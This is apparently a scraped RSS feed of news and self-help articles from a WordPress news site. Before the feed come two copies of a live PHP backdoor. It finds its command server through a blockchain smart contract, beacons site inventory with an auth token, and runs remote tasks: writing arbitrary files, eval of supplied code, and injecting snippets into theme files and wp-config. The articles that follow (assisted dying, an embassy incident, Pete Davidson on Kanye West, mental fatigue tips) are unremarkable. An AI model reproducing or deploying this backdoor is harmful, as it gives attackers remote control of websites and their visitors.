// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Mentally – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 16 Apr 2021 13:45:33 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Mentally – Brief News https://briefnews.eu 32 32 The next frontier in the ‘right to die’: advance requests, minors and the mentally ill https://briefnews.eu/the-next-frontier-in-the-right-to-die-advance-requests-minors-and-the-mentally-ill/ https://briefnews.eu/the-next-frontier-in-the-right-to-die-advance-requests-minors-and-the-mentally-ill/#respond Thu, 03 Jan 2019 11:08:46 +0000 http://briefnews.eu/the-next-frontier-in-the-right-to-die-advance-requests-minors-and-the-mentally-ill/ Assisted dying

Canadians are walking into new territory on the right to die, commencing a debate over whether Parliament should allow minors and the mentally ill to end their lives with the help of a doctor.

]]> https://briefnews.eu/the-next-frontier-in-the-right-to-die-advance-requests-minors-and-the-mentally-ill/feed/ 0 ‘Mentally unstable’ person tries to breach into Russian embassy in Berlin to ‘request asylum’ https://briefnews.eu/mentally-unstable-person-tries-to-breach-into-russian-embassy-in-berlin-to-request-asylum/ https://briefnews.eu/mentally-unstable-person-tries-to-breach-into-russian-embassy-in-berlin-to-request-asylum/#respond Wed, 14 Nov 2018 23:12:26 +0000 http://briefnews.eu/mentally-unstable-person-tries-to-breach-into-russian-embassy-in-berlin-to-request-asylum/

A person with apparent mental health issues, believed to be a citizen of Poland, has been detained as he tried to enter the premises of the Russian embassy in Germany to request asylum, the diplomatic mission in Berlin said.

“According to preliminary data, a foreign national (allegedly a Polish citizen) parked his car with a Polish number plate next to the gate of the embassy located at Unter den Linden. After getting out of the car, he attempted to enter the territory of the diplomatic mission and request that he be granted protection. The police officers, who were keeping watch nearby, detained him in a timely manner. There is a suspicion that he is mentally ill,” the embassy said, in a statement cited by Sputnik.

DETAILS TO FOLLOW

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]]> https://briefnews.eu/mentally-unstable-person-tries-to-breach-into-russian-embassy-in-berlin-to-request-asylum/feed/ 0 Pete Davidson Slams Kanye West for Hijacking SNL Stage With Pro-Trump Rant: 'Being Mentally Ill Is Not an Excuse to Act Like a Jackass' https://briefnews.eu/pete-davidson-slams-kanye-west-for-hijacking-snl-stage-with-pro-trump-rant-being-mentally-ill-is-not-an-excuse-to-act-like-a-jackass/ https://briefnews.eu/pete-davidson-slams-kanye-west-for-hijacking-snl-stage-with-pro-trump-rant-being-mentally-ill-is-not-an-excuse-to-act-like-a-jackass/#respond Sun, 07 Oct 2018 10:18:43 +0000 http://briefnews.eu/pete-davidson-slams-kanye-west-for-hijacking-snl-stage-with-pro-trump-rant-being-mentally-ill-is-not-an-excuse-to-act-like-a-jackass/

Kanye West‘s bizarre pro-Trump rant following last week’s Saturday Night Live premiere did not go over well with cast member Pete Davidson. On Saturday’s show, Davidson — appearing at the end of Weekend Update — slammed West for hijacking the SNL stage.

“What Kanye said after we went off the air last week was one of the worst, most awkward things I have ever seen here,” he said, before cracking, “and I’ve seen Chevy Chase speak to an intern. And we all had to stand behind him.”

Quick refresher: Last weekend, after finishing his third performance (at which point the episode had already ended), West began pontificating about the “liberal media” attacking Trump and his own rumored 2020 presidential bid. This resulted in boos from the audience, as the SNL cast stood off to the side of the stage and kept their heads down. The impromptu speech was captured in part by comedian Chris Rock, who can be heard saying “Oh my God!” as West continued to defend Trump.

Davidson also disputed West’s charge that SNL staffers pressured him not to wear a pro-Trump hat. “Kanye was wearing a ‘MAGA hat,” Davidson noted. “And he started by saying people backstage tried to bully him into not wearing it. He wore it all week. Nobody told him not to wear it.”

Davidson conceded that West “is a genius — but a musical genius,” before urging him to seek out to go back on medication. “Take ’em. There’s no shame in the medicine game. I’m on them. Being mentally ill is not an excuse to act like a jackass.”

Watch video of Davidson’s anti-Kanye segment below…

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]]> https://briefnews.eu/pete-davidson-slams-kanye-west-for-hijacking-snl-stage-with-pro-trump-rant-being-mentally-ill-is-not-an-excuse-to-act-like-a-jackass/feed/ 0 What Mentally Tired Means (And 11 Ways to Combat Brain Exhaustion) https://briefnews.eu/what-mentally-tired-means-and-11-ways-to-combat-brain-exhaustion/ https://briefnews.eu/what-mentally-tired-means-and-11-ways-to-combat-brain-exhaustion/#respond Thu, 06 Sep 2018 23:15:09 +0000 http://briefnews.eu/what-mentally-tired-means-and-11-ways-to-combat-brain-exhaustion/ You might know all too well that feeling of constant exhaustion, tiredness and lethargy despite doing all the commonly prescribed self-care treatments. You feel mentally tired.Let’s not deny exercise, getting enough sleep and clean eating are all important. However, you are doing all those things and are still feeling exhausted.There is a great chance there are deeper mental and emotional issues your brain is constantly feeling under attack from and therefore is suffering from constant mental fatigue. It feels like you just can’t seem to get a break and you are constantly running on the treadmill and cannot step off, even if you want to.Doing a U-turn on this path can be tough but definitely not impossible. In fact, these life-changing mental strategies will not only help to relieve this constant mental tiredness but help you truly springboard to a new level of peak functioning you might not have ever experienced before.

1. Review your core values and ask yourself if you are operating in alignment with those.

One of the most common reasons people leave their jobs is because of their boss. In a survey of 7500 full-time employees, Gallup found 23% of respondents felt burnt out often or always whilst 44% reported feeling burnt out sometimes.((Gallup: Employee Burnout))You will be surprised to learn the burnout was not attributed to increased work performance or productivity but rather how the employees were managed. Unfair treatment at work, lack of role clarity, unmanageable workloads, lack of support from their manager and unreasonable time pressure were the top five factors correlated with respondents experiencing burnout.If you are regularly struggling to have your core work values honored (e.g. trust, open communication, respect, collaboration), it is high time to look at having a conversation around this with your boss.By discussing with your boss how being able to have these values met will better benefit them and the greater good of the organization, you create a win-win for all!Get clear on what you will and won’t tolerate. Listen to your gut on what is deeply and truly important. Getting clarity on this alone will give you greater awareness to be able to respond better when things happen that throw you mentally off-course. The awareness and new clarity will massively reduce that brain exhaustion!

2. Choose to set the mental tone of your day.

Which do you think is going to better influence having a mentally easier day?

  • Starting the day getting up late, having breakfast of coffee laden with sugar whilst you listen to the tragedies of the world news on the television; OR
  • Waking up earlier, doing five minutes of stretching to calm music, listening to an inspiring podcast that gives you ideas and solutions and having a nourishing breakfast, smoothie or juice?

Choose how you want your day to start. Make easy simple changes and practice sticking to them each day.Even if you face a disaster first thing upon arriving at the office, your brain is already riding a relaxed wave that puts you in a clearer mindset to put out those fires than if you have already started the day in a stressed mental state.Give yourself a head start!

3. Examine what drains your energy and make necessary changes.

When your colleague or partner is expressing anger, fear, sadness, frustration and other similar emotions coupled with solution-focused discussion, you feel purposeful and energetically uplifted just supporting them.However, not being able to get a word in when they talk at you, whine, complain and blame the world around them for their misfortunes will drain energy from you and fry your brain. That loss of energy costs you greatly!It can be a great idea to start training those friends, family or colleagues that when they need to download with you (with you, not on you) there are conditions. Those conditions might be whingeing and complaining for twenty minutes freely but then the focus needs to be about looking at solutions.If you get sprung unexpectedly by a whingeing phone call, gently inquire what they are calling about first before launching into the meat of the conversation. If you can sense it is going to be a mentally heavy conversation, state you have a limited time available. Make sure you have a get-out clause ready!Your mental state deserves to be preserved and protected. Stop making yourself available as a mental, emotional punching bag at the leisure of anyone who does not have the same capacity for mental and emotional regulation as you. They are not your problem to fix.Give periodic support but empower them to become their own change agents by directing them to additional sources of support.

4. Get good at relaxing on cue, not on demand.

Stress deactivates your attention and concentration capacity and your ability to think creatively diminishes.When you are anxious, you deplete your brain’s ability to think about what it is you really want and what is important to you. When your brain is in a relaxed state, dopamine levels are increased freeing up mental and emotional space. Only then can you truly choose what you want to turn your attention and energy to.Choose wisely! By relaxing your mind first and then focusing on positively reinforcing thoughts and ideas you greatly reduce your mental (and physical) fatigue.Practicing mindfulness first and then choosing wisely what you want to focus on is like wiping your glass lenses clean before trying to see clearly.Increase practicing having a relaxed brain as your default state as opposed to a reactive after-thought. Because you have momentarily slowed down, you will be able to speed up.

5. Develop creative sources of internal motivation.

Long-term gratification is a noble thought. The problem is your brain naturally looks to steer you in directions which bring you immediate satisfaction, that keeps you safe and happy now.Search for and/or create steps in your journey that ignite a positive emotional shift for you in as many ways as possible. Be creative with this. Instead of allowing the guilty feeling of leaving the office with that project still incomplete, practice thinking more about your children’s and partner’s radiant faces surprised and delighted to see you home earlier than usual.You get to feel better about yourself when you invest in quality relationships. Let them re-nourish you so you can dive back into that project refreshed and with better focus tomorrow.

6. Reframing your current perspective can greatly shift and lift mental fatigue.

Stating to yourself that you are overwhelmed can’t manage and that you are burnt out can become a dangerous self-fulfilling prophecy. Practice a thought-stopping word such as ‘shift’ to help stop the wheels turning in that downward spiral direction. From there, see if you can recognize that in those moments you are feeling overwhelmed but you are not actually stuck in being overwhelmed.You are feeling you can’t manage and feeling burnt out but you actually are not those labels. You merely feel those things in your moments of emergency.Feelings are transient. According to Dr. Joan Rosenberg, the most heightened part of our intense emotions lasts for about ninety seconds. After that, the energy of what we are feeling starts to subside if we don’t fight what we are feeling.((Dr. John Rosenberg: Emotional Mastery: The Gifted Wisdom of Unpleasant Feelings | Dr Joan Rosenberg | TEDxSantaBarbara))Embrace that and let the sting of those feelings run their course. As they subside, you will mentally feel more relaxed and your brain will have 